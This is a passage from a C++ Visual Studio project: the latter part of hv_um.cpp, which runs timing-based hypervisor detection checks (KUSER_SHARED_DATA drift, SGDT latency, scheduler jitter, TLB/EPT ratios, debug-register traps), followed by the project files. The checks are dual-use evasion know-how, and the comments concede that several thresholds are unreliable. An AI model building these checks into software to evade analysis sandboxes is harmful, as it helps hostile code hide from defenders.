sprintf_s(msg, "measured: %.0f MHz (no CPUID freq info)", measured_hz / 1e6);
Log("TSC (measured only)", msg, false);
}
}
// KUSER_SHARED_DATA.InterruptTime at 0x7FFE0008/0x7FFE000C
// kernel provided shared memory counter, updates at 10 MHz (100ns per tick)
// hypervisors may inject skew or artificial stepping on this counter
// detect delta outside [9M, 11M] over ~1 second (+=10% tolerance)
void CheckKUserSharedData() {
volatile DWORD* low = (DWORD*)0x7FFE0008;
volatile DWORD* high = (DWORD*)0x7FFE000C;
ULONGLONG tsc1 = __rdtsc();
(void)tsc1; // not used directly, but read is cheap
ULONGLONG k1 = ((ULONGLONG)*high << 32) | *low;
Sleep(1000);
ULONGLONG tsc2 = __rdtsc();
(void)tsc2;
ULONGLONG k2 = ((ULONGLONG)*high << 32) | *low;
ULONGLONG kDelta = k2 - k1;
bool skew = (kDelta < 9000000ULL || kDelta > 11000000ULL); // ±10% heuristic
char msg[64];
sprintf_s(msg, "delta: %llu (10M expected)", kDelta);
Log("KUSER_SHARED_DATA", msg, skew);
}
// baremetal: executes directly, ~8k-10k cycles (varies by CPU generation)
// UMIP enabled: kernel #GP trap emulation, ~5-15k cycles
// hypervisor: may use fast path or synthetic timing, <1000 cycles (anomalous)
// note: threshold varies significantly; not reliable across CPU generations
void CheckUMIP_SGDT() {
unsigned char gdtr[10] = { 0 };
ULONGLONG t1 = __rdtsc();
_sgdt(gdtr);
ULONGLONG t2 = __rdtsc();
ULONGLONG cycles = t2 - t1;
ULONGLONG base = *(ULONGLONG*)(gdtr + 2);
// Treat extremely low latency as suspicious (e.g. hypervisor fastpath)
bool suspicious = (cycles < 1000);
char msg[64];
sprintf_s(msg, "cycles: %llu | base: 0x%llx", cycles, base);
Log("SGDT/UMIP", msg, suspicious);
}
// baremetal: 0.1-10us typical (workload dependent, highly variable)
// hypervisor: may show >1000us overhead or suspiciously consistent timing
// detect mean >1000us (arbitrary heuristic, unreliable)
void CheckSchedulerSignature() {
int num_cores = (int)std::thread::hardware_concurrency();
if (num_cores < 2) return;
std::vector<double> wakeup_deltas;
std::mutex m;
auto worker = [&](int core_id) {
SetThreadAffinityMask(GetCurrentThread(), 1ULL << (core_id % num_cores));
LARGE_INTEGER qpf, qpc1, qpc2;
QueryPerformanceFrequency(&qpf);
for (int i = 0; i < 20; i++) {
QueryPerformanceCounter(&qpc1);
Sleep(0);
QueryPerformanceCounter(&qpc2);
double delta_us =
((double)(qpc2.QuadPart - qpc1.QuadPart) * 1e6) / (double)qpf.QuadPart;
{
std::lock_guard<std::mutex> lock(m);
wakeup_deltas.push_back(delta_us);
}
}
};
std::thread t0(worker, 0);
std::thread t1(worker, 1);
t0.join();
t1.join();
if (!wakeup_deltas.empty()) {
double mean = std::accumulate(wakeup_deltas.begin(), wakeup_deltas.end(), 0.0) /
wakeup_deltas.size();
double sq_sum = 0.0;
for (auto d : wakeup_deltas) sq_sum += (d - mean) * (d - mean);
double variance = sq_sum / wakeup_deltas.size();
bool anomaly = (mean > 1000.0); // >1 ms mean wake latency -> suspicious
char msg[128];
sprintf_s(msg, "slice: %.2f us | variance: %.2f | anomaly: %s",
mean, variance, anomaly ? "yes" : "no");
Log("SchedulerSignature", msg, anomaly);
}
}
// baremetal: ratio ~3-5x (page_walk / hit latency)
// nested paging (EPT/SLAT): ratio >>10x due to 2 level page table walk
// detect ratio >10 indicates hypervisor nested paging overhead
void CheckTLBEPTPressure() {
const size_t alloc_size = 64 * 1024 * 1024;
void* region = VirtualAlloc(nullptr, alloc_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!region) {
std::cout << "[skip] CheckTLBEPTPressure: VirtualAlloc failed\n";
return;
}
std::vector<unsigned __int64> hit_latencies;
std::vector<unsigned __int64> walk_latencies;
// TLB friendly: sequential lowoffset access
for (size_t i = 0; i < 10000; i += 64) {
unsigned char* p = (unsigned char*)region + i;
unsigned __int64 t1 = __rdtsc();
*p = 0x42;
unsigned __int64 t2 = __rdtsc();
hit_latencies.push_back(t2 - t1);
}
// TLB unfriendly: sparse 16page strides (64KB) across the region
for (size_t i = 0; i < alloc_size; i += 4096 * 16) {
unsigned char* p = (unsigned char*)region + i;
unsigned __int64 t1 = __rdtsc();
*p = 0x42;
unsigned __int64 t2 = __rdtsc();
walk_latencies.push_back(t2 - t1);
}
VirtualFree(region, 0, MEM_RELEASE);
if (!hit_latencies.empty() && !walk_latencies.empty()) {
double mean_hit =
std::accumulate(hit_latencies.begin(), hit_latencies.end(), 0.0) / hit_latencies.size();
double mean_walk =
std::accumulate(walk_latencies.begin(), walk_latencies.end(), 0.0) / walk_latencies.size();
double ratio = mean_walk / (mean_hit > 0 ? mean_hit : 1.0);
bool anomaly = (ratio > 10.0);
char msg[128];
sprintf_s(msg, "hit: %.0f cyc | walk: %.0f cyc | ratio: %.1f",
mean_hit, mean_walk, ratio);
Log("TLB/EPT pressure", msg, anomaly);
}
}
double calculate_stddev(const std::vector<unsigned __int64>& data, double mean) {
double sq_sum = 0.0;
for (auto v : data) {
sq_sum += (v - mean) * (v - mean);
}
return std::sqrt(sq_sum / data.size());
}
// baremetal: ~10% peaks (SMT interference, interrupts, freq scaling expected)
// vCPU: <10% peaks possible (isolated synthetic timing)
// detect >10% of samples are peaks (interfered timing)
void CheckTSCNoiseFloor() {
std::vector<unsigned __int64> deltas;
deltas.reserve(100000);
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
SetThreadAffinityMask(GetCurrentThread(), 1ULL); // core 0
unsigned __int64 prev_tsc = __rdtsc();
for (int i = 0; i < 100000; i++) {
unsigned __int64 curr_tsc = __rdtsc();
unsigned __int64 delta = curr_tsc - prev_tsc;
if (delta > 0 && delta < 10000) {
deltas.push_back(delta);
}
prev_tsc = curr_tsc;
}
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_NORMAL);
if (deltas.size() > 1) {
double mean = std::accumulate(deltas.begin(), deltas.end(), 0.0) / deltas.size();
double sq_sum = 0.0;
for (auto d : deltas) sq_sum += (d - mean) * (d - mean);
double stddev = std::sqrt(sq_sum / deltas.size());
int count_high = 0;
for (auto d : deltas) {
if (d > mean * 1.5) count_high++;
}
bool peaks = (count_high > (int)(deltas.size() * 0.1)); // >10% peaks
char msg[128];
sprintf_s(msg, "mean: %.0f | stddev: %.0f | peaks>1.5x: %s",
mean, stddev, peaks ? "yes" : "no");
Log("TSCNoiseFloor", msg, peaks);
}
}
static int g_ermsb_trap_detected = 0;
static LONG WINAPI ErmsbExceptionHandler(PEXCEPTION_POINTERS ctx)
{
if (ctx->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)
{
g_ermsb_trap_detected = 1;
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
//baremetal: debug breakpoints fire reliably during rep movsb
//hypervisor w/ EPT hooks: breakpoint may not fire (EPT intercepts before debug logic)
void CheckERMSBEPT()
{
void* src_page = VirtualAlloc(NULL, 0x2000, MEM_COMMIT, PAGE_READWRITE);
void* dst_page = VirtualAlloc(NULL, 0x2000, MEM_COMMIT, PAGE_READWRITE);
if (!src_page || !dst_page)
return;
memset(src_page, 0xAB, 0x2000);
uint64_t breakpoint_addr = (uint64_t)src_page + 0x1000;
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(GetCurrentThread(), &ctx);
ctx.Dr0 = breakpoint_addr;
// Dr7 = 0x30001
// bit 0 = 1: enable local breakpoint for Dr0
// bits 17:16 = 11b: Dr0 break on instruction execution
// bits 19:18 = 00b: length = 1 byte
ctx.Dr7 = 0x30001;
PVOID veh = AddVectoredExceptionHandler(1, ErmsbExceptionHandler);
SetThreadContext(GetCurrentThread(), &ctx);
g_ermsb_trap_detected = 0;
__try
{
__movsb((PBYTE)dst_page, (PBYTE)src_page, 0x2000);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
// any exception during the copy is swallowed here;
// the VEH will already have set g_ermsb_trap_detected if Dr0 fired.
}
RemoveVectoredExceptionHandler(veh);
ctx.Dr7 = 0;
SetThreadContext(GetCurrentThread(), &ctx);
VirtualFree(src_page, 0, MEM_RELEASE);
VirtualFree(dst_page, 0, MEM_RELEASE);
bool anomaly = (g_ermsb_trap_detected == 0);
char msg[128];
sprintf_s(msg, "trap triggered: %s | EPT hook detected: %s",
g_ermsb_trap_detected ? "yes" : "no",
anomaly ? "yes" : "no");
Log("ERMSB", msg, anomaly);
}
int main() {
SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);
CheckSyntheticCPUID();
CheckCrystalClock();
//CheckERMSBEPT();
CheckUMIP_SGDT();
CheckSchedulerSignature();
CheckTLBEPTPressure();
CheckTSCNoiseFloor();
CheckKUserSharedData();
printf("\nPress any key to exit.\n");
getchar();
return 0;
}
```
`hv_um.sln`:
```sln
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.13.35913.81 d17.13
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "hv_um", "hv_um.vcxproj", "{C62441FD-A2B8-473A-871E-AAFE85324453}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{C62441FD-A2B8-473A-871E-AAFE85324453}.Debug|x64.ActiveCfg = Debug|x64
{C62441FD-A2B8-473A-871E-AAFE85324453}.Debug|x64.Build.0 = Debug|x64
{C62441FD-A2B8-473A-871E-AAFE85324453}.Debug|x86.ActiveCfg = Debug|Win32
{C62441FD-A2B8-473A-871E-AAFE85324453}.Debug|x86.Build.0 = Debug|Win32
{C62441FD-A2B8-473A-871E-AAFE85324453}.Release|x64.ActiveCfg = Release|x64
{C62441FD-A2B8-473A-871E-AAFE85324453}.Release|x64.Build.0 = Release|x64
{C62441FD-A2B8-473A-871E-AAFE85324453}.Release|x86.ActiveCfg = Release|Win32
{C62441FD-A2B8-473A-871E-AAFE85324453}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {3DCBBC00-2386-4D33-82F4-DA732F7A2B53}
EndGlobalSection
EndGlobal
```
`hv_um.vcxproj`:
```vcxproj
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>17.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{c62441fd-a2b8-473a-871e-aafe85324453}</ProjectGuid>
<RootNamespace>hvum</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="hv_um.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
```
`hv_um.vcxproj.filters`:
```filters
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="hv_um.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
```